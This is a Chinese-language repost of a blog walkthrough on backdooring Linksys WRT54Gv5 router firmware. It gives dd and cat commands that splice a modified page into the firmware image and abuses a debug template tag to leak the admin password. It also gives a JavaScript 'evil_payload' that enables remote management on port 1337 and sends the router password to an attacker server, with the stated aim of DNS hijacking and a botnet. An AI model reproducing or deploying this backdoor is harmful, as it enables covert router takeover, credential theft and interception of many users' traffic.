Cisco Linksys无线路由固件安全分析与后门研究

最近我对嵌入式设备安全方面比较感兴趣,所以我决定找点东西练练手,于是我在淘宝上搜了一下,发现Linksys WRT54Gv5无线路由比较流行,决定就拿这个下手了

首先要做的就是对固件开始逆向,看一下它的内部构件都是什么玩意儿。这个过程我也发现了这是一件多么令人蛋疼的事情,因为linksys本身已经不再承载固件了,另外,由于版权保护的问题,也没人跟我一样这么做。这些事简直蠢到家了,不过最终我还是偶然发现了一个固件副本,然后用它给我的路由器刷了固件以便分析时与硬件保持一致,然后就开始上手了。

分析

在看了不少devttys0.com博客上讲的东西之后,我决定用binwalk来分析固件文件。

下面是分析后的结果:

mandatory@mandatorys-box:~/Reversing/5v_Linksys-WRT54Gv5$ binwalk FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin
DECIMAL HEX DESCRIPTION
512 0x200 ELF 32-bit LSB MIPS-II executable, MIPS, version 1 (SYSV)
 101648 0x18D10 Copyright string: " 1984-1996 Wind River Systems, Inc.Inc."
 103664 0x194F0 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 3680864 bytes
 1182692 0x120BE4 TROC filesystem, 102 file entries
 1185153 0x121581 gzip compressed data, was "apply.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358}
 1185892 0x121864 gzip compressed data, was "apply1.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358}

完整的戳这http://pastebin.com/raw.php?i=1FnPL3Fv

看完这个之后我觉得自己还是很幸运的,下面简单地说一下这些东西代表的含义:

0×200偏移之后是MIPS bootloader;
0x18D10偏移之后是Wind River Systems Inc版权声明,这行很重要因为他们做了我手上这个路由的操作系统
Vxworks Operating System;
0x194F0偏移之后是Vxworks OS/文件系统,不过我现在暂时没能力反汇编(没有文档化的大文件系统肯定不好搞);
一堆类似于appky.htm这样gzip压缩的普通文件;

直观上来看,firmware是这样分布的:[ Bootloader ] [ Copyright String ] [ VxWork OS & Filesystem ] [ TROC Filesystem Entry ] [ gziped htm/image files ]

有个现象比较幸运,那就是实际上这些压缩着的普通文件都是一个紧接着一个的,这样我们就知道了每个文件都是从哪里开始然后从哪里结束的,这些偏移可以通过不同文件类型中内置的Magic Number来推算出的,就是利用几个特殊的byte来标识出文件类型。举个例子,gzip的Magic Number是1f 8b – binwalk找到这几个数然后在二进制文件中对这些文件进行定位。

然后逻辑上来讲,我们可以用同样大小的二进制数据来替换这些文件(要依据于固件更新后文件的绝对位置);

开搞

一个小小的dd命令就可以从路由器固件中摘出来一个.htm文件,其实binwalk也有内置的导出函数用来提取文件,不过我没有操作成功(你可以试一下);

dd if=firmware.bin bs=1 skip=[Offset] count=[Next Offset - Current Offset] of=output_filename

我们先来搞一点简单的,先把Unauthorized.htm和lastpassword.htm这两个文件提取出来,我特么完全不知道lastpassword.htm这个文件为毛会在固件里面出现,但是它可以把当前路由里面的管理密码以文本的格式输出啊!可能是程序员开发固件的时候不小心留下了这么个逗逼的调试用文件。

lastpassword.htm:

<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
</HEAD>
<BODY><PRE>Last Password : <TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW></PRE></BODY></HTML>

你应该注意到了lastpassword.htm里面的这些东西:

<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>

这个标签将会被路由的当前密码代替,所以我们也许就能把这个放到Unauthorized.htm里面,这样无论密码怎么变我们都能有路由的管理权限;

还记得不,我们有点蛋疼的地方就是要保证替换的文件要和以前的大小一样,因为.htm文件将会被压缩,所以问题出在这个地方,不过还好,可以解决。

一番捯饬之后,我们最终搞成这个样子:

<HTML><BODY BGCOLOR="#cc9999"> <H4>401 Unauthorized</H4>
<!--<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW> -->

然后ls一下看一下文件大小:

9699468   12 -rw-r--r-- 144 Oct 18 14:44 Unauthorized.htm.gz
9699467   12 -rw-rw-r-- 144 Oct 18 14:13 Unauthorized_original.htm.gz

现在再看一下以前binwalk后的结果:

1338096         0x146AF0        GIF image data, version "89a", 192 x 64
1340943         0x14760F        gzip compressed data, was "Unauthorized.htm", from NTFS filesystem (NT), last modified: Fri Sep  4 03:46:03 2009
1341087         0x14769F        gzip compressed data, was "Upgrade.htm", from NTFS filesystem (NT), last modified: Fri Sep  4 03:46:03 2009
1344585         0x148449        gzip compressed data, was "UpgStat.htm", from NTFS filesystem (NT), last modified: Fri Sep  4 03:46:03 2009

然后我们把固件从Unauthorized.htm中间劈开,加上我们的文件再组合在一起:

# Cut off first half of firmware right before Unauthorized.htm.gz
dd if=FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin bs=1 count=1340943 of=first_half
# Cut out the second half of the firmware right after Unauthorized.htm.gz
dd if=FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin bs=1 skip=1341087 of=second_half
# Add our backdoored Unauthorized.htm.gz to the firmware
cat Unauthorized.htm.gz >> first_half
# Put the pieces together
cat second_half >> first_half

Cool!然后我们再检查一下确保自己所有的步骤都是对的然后开始升级固件:

我承认第一次搞这个有点小紧张,总害怕不好使,但是很荣幸,刷完固件之后成功了!

登录一下:

然后取消进去Unauthorized.htm页面:

F12:

mandatory即为路由密码!

Perfect!然后现在我们就有了一个比较隐秘的控制路由器的方式,但是这个东西不好大范围搞,我们怎么样才能做出来一个类似于僵尸网络一样的payload呢?

后门

我看了一下别人写的payload,最终决定用JS来写后门,因为JS的跨平台性很好。而且JS内建了足够多的函数来让我们随意更改配置,爱咋用咋用。虽然我们没法去控制路由器来去DDos,但是我们可以更改路由器的DNS,控制了DNS我们就可以来对路由器的使用者做中间人攻击。这是因为大部分的计算机都直接采用了路由器选择的DNS,所以你简简单单控制了一台路由就相当于黑了一片PC,这个案例就相当于Zlob trojan,事实也证明了这个东西具有极大的杀伤力。

开搞。

路由设置页面的主页是basic.htm文件,一旦用户登录就立即被重定向到这个页面,所以如果我们把后门加到这个页面就会有极大的命中率,我们制作一个发送用户名和密码到我们控制的服务器上的payload,同时开启远程认证端口1337。

编了点JS代码,然后我们手里就有货了:

function evil_payload()
{
    xml = new XMLHttpRequest();
    xml.open('POST', 'http://admin:<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>@192.168.1.1/manage.tri');
    var params = "remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=0&http_passwd=d6nw5v1x2pc7st9m&http_passwdConfirm=d6nw5v1x2pc7st9m&_http_enable=1&web_wl_filter=1&remote_management=1&http_wanport=1337&upnp_enable=1&layout=en";
    xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xml.setRequestHeader("Content-length", params.length);
    xml.setRequestHeader("Connection", "close");
    xml.send(params);
    thb = new XMLHttpRequest();
    thb.open('GET', 'http://HackerServer.com/hue.php?p=<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>');
    thb.send();
}

这两个request里面,我们开启了远程控制端口,然后把用户名和密码发送到了我们控制的主机上。

然后用上面同样地方法我们把这个后门添加到固件里面(记住,大小一定要一样)。

刷固件,然后,wallah!

[gif动图,请戳:http://blog.depressedmarvin.com/images/2014/10/08/router_backdoor.gif]

当然,这只是个proof,真正后门在做的时候应该会可以C&C来实时控制路由的DNS Server。

比你想的要容易的多吧,事实上,我之后又分析了一些路由器固件,有同样的问题存在。

下次再会。

[原文来自linksys-wrt56g-backdoor-payload,FreeBuf小编嘎巴搬运,转载请注明来自FreeBuf.COM]

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2014-10-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Timhbw博客

macOS Sierra下载地址

2016-06-1710:00:42 发表评论 416℃热度 天生爱折腾,ios10还是比较好下载的,WWDC2016刚结束,网上一就一大堆教程,然而macO...

2849
来自专栏FreeBuf

如何通过恶意宏劫持桌面快捷方式提供后门

多年以来,一直都有攻击者使用恶意宏来传播恶意软件,并且还设计出了各种方法来让这种技术变得更加有效。近期,研究人员观察到了一种更加隐蔽的基于宏的攻击活动,在这个攻...

1172
来自专栏Timhbw博客

Hexo-完全免费全平台搭建个人博客(2)-域名主题设置

2017-03-1011:01:58 发表评论 913℃热度 Hexo-完全免费全平台搭建个人博客(1)-整体搭建 上一篇文章把 Hexo 博客整体搭建一遍了...

37712
来自专栏张戈的专栏

另类SEO分享:利用JS封装iframe躲过搜索引擎的抓取

前言:很多博友不仔细看完内容就直接认为用 iframe 不好之类的云云,而实际上本文就是教你在必须使用 iframe 的时候,该如何躲过搜索引擎的抓取,避免不利...

5056
来自专栏FH云彩

本站使用的WordPress插件

1615
来自专栏SAP最佳业务实践

SAP最佳业务实践:MM–不交货与库存调拨(135)-2业务处理

3 流程概览表 选项一:不含库存调拨订单的库存调拨 – 一次性库存调拨 流程步骤业务条件业务角色事务代码预期结果一次性库存调拨需调拨的库存仓库文员MIGO在系统...

3413
来自专栏小白课代表

犀牛Rhino4.0安装教程

1743
来自专栏FreeBuf

技术剖析:海莲花OceanLotus Encryptor样本分析

前言 上周,360发布了海莲花的报告,数据收集,分析,解释,加工方面很能让人折服,但是看了其对所谓OceanLotus Encryptor样本的分析,和我自己观...

2117
来自专栏Wordpress专用主机|主题模板|必备插件

5款经典的WORDPRESS问答类主题模板推荐

近期,有不少WP爱好者问我:wordpress可以用来做问答类网站吗?类似于百度知道,知乎之类的。 答案是当然可以!其实wordpress也有不少优秀的问答类主...

1.8K8
来自专栏FreeBuf

样本分析 | 当“网络冲突”中的诱饵文件被用于真实的攻击事件

Cisco Talos最近发现了知名黑客组织74(又名Tsar Team,Sofacy,APT28,Fancy Bear…)的一种新型恶意行动,具有讽刺意味的是...

25310

扫码关注云+社区